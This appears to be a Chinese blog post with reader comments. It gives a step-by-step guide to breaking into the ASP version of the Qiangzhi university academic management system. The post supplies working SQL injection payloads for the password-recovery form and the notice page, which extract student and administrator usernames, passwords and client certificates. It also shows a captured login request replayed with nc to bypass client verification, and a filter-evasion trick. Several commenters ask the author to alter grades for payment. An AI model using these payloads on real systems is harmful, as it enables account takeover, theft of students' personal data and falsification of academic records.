强智教务管理系统asp版漏洞入侵的种种

使用“强智教务管理系统”的高校还是有一些的,该系统的asp版本存在一些漏洞。

立场:纯技术讨论,反对篡改资料

强智教务管理系统入侵开始

强智教务管理系统asp版一个明显的漏洞就是在查询密码功能,一些学校要求输入“学号+姓名+身份证号”就能得到密码,事实上只要知道任意一个就能得到密码的,以学号获取密码为例:

首先打开强智教务登录页面,点击获取密码的功能,在学号的框内输入:

' or xh='这里是学号例如0101010101'--'

然后姓名跟身份证号任意填写避免为空不能提交,于是系统就会告诉你密码了

并且下面的一些方法在这个密码查询的文本框内也是可用的,例如:

在文本框内输入

' and (这里是sql语句可以用于查询其它数据表)>0--'

一般会爆出你要查询的内容,如果是纯数字则用判断长度和大小的方法,如果错误信息被禁掉参见文章底部说明

另一个存在漏洞的地方也非常的不隐蔽,看看这个地址:

http://www.jubailan.com/jiaowu/Public/ShowGGTZ.asp?GGTZID=230
有没有发现这个网址的域名是我的站点哈哈,只是个例子而已不是真是存在的地址。真正的那个页面是个公告地址,在进入登陆界面的时候能看到晚上滚动的那个,进去之后自己比对地址,注意GGTZID=后面的数字以你进入的公告地址为准不要用我的,其实也并不是那么重要只在有时候起作用。

在网址后面加一个半角英文的单引号

http://www.jubailan.com/jiaowu/Public/ShowGGTZ.asp?GGTZID=230'

于是构成了sql注入攻击,下面就是浏览器显示出来的东西,不过你要把浏览器工具-internet选项-高级-显示友好错误提示的勾去掉(针对IE)。

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' 

[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 ' ' 之前有未闭合的引号。 

/Public/ShowGGTZ.asp,行 7 

继续上面,假设引号之后显示的是上面的错误提示,那基本上可以断定存在漏洞。不放心可以尝试用这两个个地址:

http://www.jubailan.com/jiaowu/Public/ShowGGTZ.asp?GGTZID=230 and 1=1
这个返回正常的页面

http://www.jubailan.com/jiaowu/Public/ShowGGTZ.asp?GGTZID=230 and 1=2
这个返回正常的找不到页面,一般提示“出现意外:找不到该信息,可能已被删除”

如果你的情况跟上面描述的一样那就确定你可以继续下去了,除非管理员故意设圈套。

注入的下一步是要猜表名的,是的,是“猜”,很不厉害的样子。我这里提供一些,直接看下面就好了:

1.如果你只是很无聊想随便找找看,看数据表里的第一个人是哪个,那你在浏览器里输入这个网址:

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 or (select top 1 xm from V_GetXsmm)>0

“域名路径”根据自己的情况自行修改,“GGTZID=230”也要根据你查看的页面地址做修改

然后比较有可能你会看到下面的错误信息:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '橘白婪' 转换为数据类型为 int 的列时发生语法错误。 

/Public/ShowGGTZ.asp,行 7 

“橘白婪”就是返回的学生的名字,之所以能那么容易是因为使用的是sql server数据库,如果是access那也许你会需要对每个字进行很繁琐的解码然后更繁琐的数字比较。

2.如果你知道对方名字,想查下对方的个人信息,那么使用这条地址吧:

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 len(xh) from V_GetXsmm where xm ='橘白婪')>1

这里是取得名字叫做“橘白婪”的男生的学号的长度,不要追究为什么是男生。。。看到最后一个数字没有,这表示学号的长度,现在是大于1,如果确实学号长度大于1那么返回正常的页面,否则返回“找不到信息”的页面,这样你就能一个一个测试直到判断出学号的长度。

我判断得出的结果是学号长度=10;你可以把“>1”换成“=10”试试,不过不保证每个学校的学号都是10位数。

接下来就是判断学号是什么了,如果你本来就知道别人的学号可以略过。这里因为学号的位数是10位,学号很有可能是个数字形式的那么接下来继续利用大小判断学号是什么

http://域名路径/ShowGGTZ.asp?GGTZID=230 and (select top 1 xh from V_GetXsmm where xm ='橘白婪')>1000000000

“>1000000000”是可以随便修改的,可以是小于等于号,数字可以是任意数字,不过记得前面算出学号有10位(注:开头为0的同样算);

我们假设获得的学号是“0101010101”,然后通过这个网址获得密码:

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 mm from V_GetXsmm where xh=0101010101)>0

如果返回的是:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '***这里是密码哦!!!!*****' 转换为数据类型为 int 的列时发生语法错误。 

/Public/ShowGGTZ.asp,行 7 

返回这样结果一般是因为密码不是纯数字不能进行>0的比较,文中“***这里是密码哦!!!!*****”就是密码了,好了用你获得的学号和密码就能登陆了,然后你可以看看ta的生辰八字是否跟你合适,如果不合适那你就此罢手吧。

强智教务登陆

需要注意的是,如果上面方法没有返回错误而是返回正常页面或者正常的“找不到信息”页面,那么就按照获取学号的方法判断密码。(xh代表学号,mm代表密码,xm代表姓名)

3.接下来看看管理员的账号:

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 Account from Usertable)>0
http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 Account from Usertable  where UserMemo='administrator')>0

上面这两个网址都会返回一个错误,然后爆出管理员的账号(只要账号不是纯数字。。。如果是纯数字只能比较大小然后判断是什么)。第二个网址的出的是系统管理组的第一个账号,第一个网址则是任意管理组的,得到账号之后当然就要密码了:

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 Password from Usertable where Account ='***jubailan这里是上面爆出的管理员用户名***')>0

如果是包含数字之外字符的密码那么直接就能爆出来了,如果是数字按照前面的方法处理,然后当然就剩登陆了。。。

强智教育漏洞登陆

强智教务管理系统客户端验证

也许你已经按照前面的方法登陆了,也许你还未能今进入只是因为这个强智教务管理系统的客户端验证功能,提示你在非法的电脑上操作,接下来就是破解客户端验证的方法。

一些粗心的站长没有将程序的验证安装程序删除并且保留在了原来的位置,

下面是强智教务管理系统的部署方案,里面提到验证证书的安装,包含这段文字,也许聪明的你会能在一些网站上下载到这个两个文件,不过我没用上他们所以不做更多说明:

教务证书号获取软件(GetDiskNumber.exe),教务证书安装软件(CheckDiskNumber.exe)在“Jwadmin”目录的“DataToData”目录中,该两个文件请妥善保管。系统安装好后,从该目录中删除。

强智教务的验证系统其实就是通过自己电脑里装的证书,然后在登陆的时候除了传递用户名密码还自动附加上一个“DiskNumber”参数,如果电脑里没有装那么就是“DiskNumber=error”,然后到服务器验证的时候就会判断“sys_config”表里的“s_AdminDNs”字段是否包含了你的DiskNumber,既然如此我们完全可以通过前面的方法爆出“sys_config”里的一个证书,然后通过WSockExpert抓取登陆的数据包,修改“DiskNumber=error”为“DiskNumber=你查询到的证书号”,通过nc提交,这时候你只要知道后台的管理地址默认就是登陆状态了。

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 s_AdminDNs from sys_config)>0

这个地址能爆出一组证书来,这些证书以空格分隔,例如:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 'WD-WMBM94142447 150TKKK L3PUJY0G MRG215K2UTPKNJ 567828216549 WD-WMAM96872447 WD-WMHM96606888 ' 转换为数据类型为 int 的列时发生语法错误。 

/Public/ShowGGTZ.asp,行 7 

我使用了其中一个,比如L3PUJY0G,其它的没做尝试。

好了前面已经介绍过拿到系统管理员和教务管理员的账号和密码的方法,如果需要验证,那么你要做的是:

下载:WSockExpert,打开强智教务管理系统,选择教务或者系统管理员登陆,输入用户名密码不要急着登陆。用WSockExpert选择你打开的登陆窗口进行监控,然后登陆,会提示你在非法电脑上登陆,没关系,看看WSockExpert你会发现ta截取你发送的数据包,选择post打头的数据,下面的窗口的会显示详细的数据内容,内容如下:

POST /JwAdmin/LoginCheck.asp?datetime=2009-7-18%2021:52:35 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Referer: http://*****域名******/
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 1.1.4322)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: *****域名******
Content-Length: 151
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDGHYBBBQB=POBCLGCAECENFNPBNGHGCGDB; OpenWindow=

logindate=2009-7-18+22%3A12%3A49&LoginLb=jwc&Account=登陆用户名&PassWord=密码&AccessID=20090718215235.1414148&DiskNumber=error&x=27&y=13

把上面的所有内容保存成一个.txt文本文件(比如:login.txt)并且“DiskNumber=error”改成“DiskNumber=你前面获取过的证书保存成一个”,然后用nc重新提交,方法是在命令行工具中输入下面的命令(具体参见NC瑞士军刀的使用方法):

nc -vv 61.***.***.9 80<login.txt

61.***.***.9是网站的ip地址,通过命令行下ping域名可以查看,nc提交数据后然后一段字符冒出来命令执行完毕,于是你在IE中输入下面的地址就已经是登陆状态了:

用于教务管理员的地址,输入进入教务管理后台:

http://域名路径/jwgl/default.asp

强智教务管理系统后台

用于系统管理员的地址,输入进入系统管理后台:

http://域名路径/jwadmin/default.asp

系统管理后台

看了一下,功能貌似很强大,不过我除了进去看下没有做任何事情,跟你想象的一样我不敢,会给别人带来麻烦的撒。。

ps:强智教务管理系统这个注入漏洞是有过滤字符的,比如“Insert…into…”,还有一些其它的修改数据库的sql操作命令,把sql命令修改成这样就能使用的了“Insert/**/into….”,加上一些你知道的数据表名我相信你可以做出很多匪夷所思的事情来,但是千万不要做出一些自己无法控制的事情。。。

ps cs:如果错误信息被过滤了怎么办,那么使用len()函数先判断字段长度,然后substring(字段名,1,1)获取字段的第一个字符,ascii(substring(字段名,1,1))获取字段第一个字符的asc数字码,ascii(substring(字段名,2,1))判断第二个字符,通过判断这个数字大小可以一步步推出每个字符的asc码,然后对照查询出对应字符即可。例如在密码查询框学号框内输入下面字符,姓名跟身份证可随便填写:

这个用于判断管理组第一个用户名的长度,如果返回密码则“and”后面的sql的语句成立的,如果返回“信息填写不正确”之类的信息则证明and后面的语句是不成立的可以对“>0”做相应修改

' and (select top 1 len(Account) from Usertable)>0--' 

这个用于判断管理组第一个用户名的第一个字符的asc码,判断同上

' and (select top 1 ascii(substring(Account,1,1)) from Usertable)>0--' 

ps cs2:希望强智教务管理系统的管理员们能通过本文寻求到一些修补漏洞的方法,完毕。

标签: ,

24 条评论 发表在“强智教务管理系统asp版漏洞入侵的种种”上

  1. yuy说道:

    我输入网址后提示。。。。参数非法昨晚那么晚回事?

  2. 这个算什么牛逼啊,我们大哥几乎是所有教务系统都拦不住他啊。你就会这个,其他呢?net版本的呢?Java版本的呢?还有其他教务系统的呢、?做事得低调啊

  3. ys323说道:

    LZ,能讨论下细节吗,我有几个地方不明白

  4. Archer1111说道:

    LZ虽然我没看懂多少不过感觉你好厉害=皿=…..我挂了N科,尤其怕不能毕业,等研究明白你的日志应该就没问题了吧…去吧自己挂科的都过了…..

  5. 詹南说道:

    希望能找到这位高手帮忙。重金答谢。

  6. littleone说道:

    lz能否帮忙改CJ…急用重谢!

  7. 75535478说道:

    能帮忙弄下不 谢谢了真谢谢了

  8. yaok说道:

    楼主 能帮改CJ么?? 重谢——

  9. A_Hate说道:

    仔细的看了 懂了一半 把你的网页收藏了
    能交流下吗?

    先谢谢了

    对我和很有用的

    • jubailan说道:

      人说这个系统挺容易拿下的,我试过自己学校的还有一个xx学院的都能成功,你要是久攻不下说不定是因为管理员已经补上漏洞了,

      其实无非通过“公告”或者“取回密码”的注入漏洞获取管理员账号密码和客户端验证码,然后通过相关软件手动提交http请求到服务器(包含用户名密码和客户端验证码的数据包),肯定还有别的很多方法你自己发掘下呵呵,有源码的话会容易很多,

    • meng说道:

      可以交流下吗?Q475536334

  10. eking说道:

    哈哈,第一次来,留个脚印~顺便说下,你的博客挺不错的!

  11. hbslover说道:

    强智的数据库连接的帐号一般都是给dbo权限,完全可以使用它的一下任意下载漏洞下载到数据库连接的文件,要进去,一分钟不到,我进他们官方的服务器也是这样的,极度弱智,他们那些源码现在还丢在我的硬盘里面,本想发出去,但是,数据库加上一些杂七杂八的源码,超过1G,我这里网速特慢,干着急啊~

    • kkk说道:

      我想学,能教教我么??qq815263392
      谢谢

    • A_Hate说道:

      能交流下吗?
      谢谢了
      对我很有用的
      我研究快一年了

      为了这个我研究了好多东西
      别的网站入侵了一大堆
      就这个系统没拿下
      指点下谢谢了

      • hbslover说道:

        只要仔细读一下源码,你会发现无处不漏,就算超级管理员后台加了所谓的加密狗都是鸡肋

  12. 小菜说道:

    怎么我搞不定,能教教我吗

    • jubailan说道:

      我知道的都写文章里了⊙﹏⊙b,可能你要自己研究下,参见一楼的回复你去找下源码试试祝你成功哈哈

  13. 1说道:

    后台应该怎么提权呢
    拿了半天不敢乱动。
    希望楼主能说说

留下回复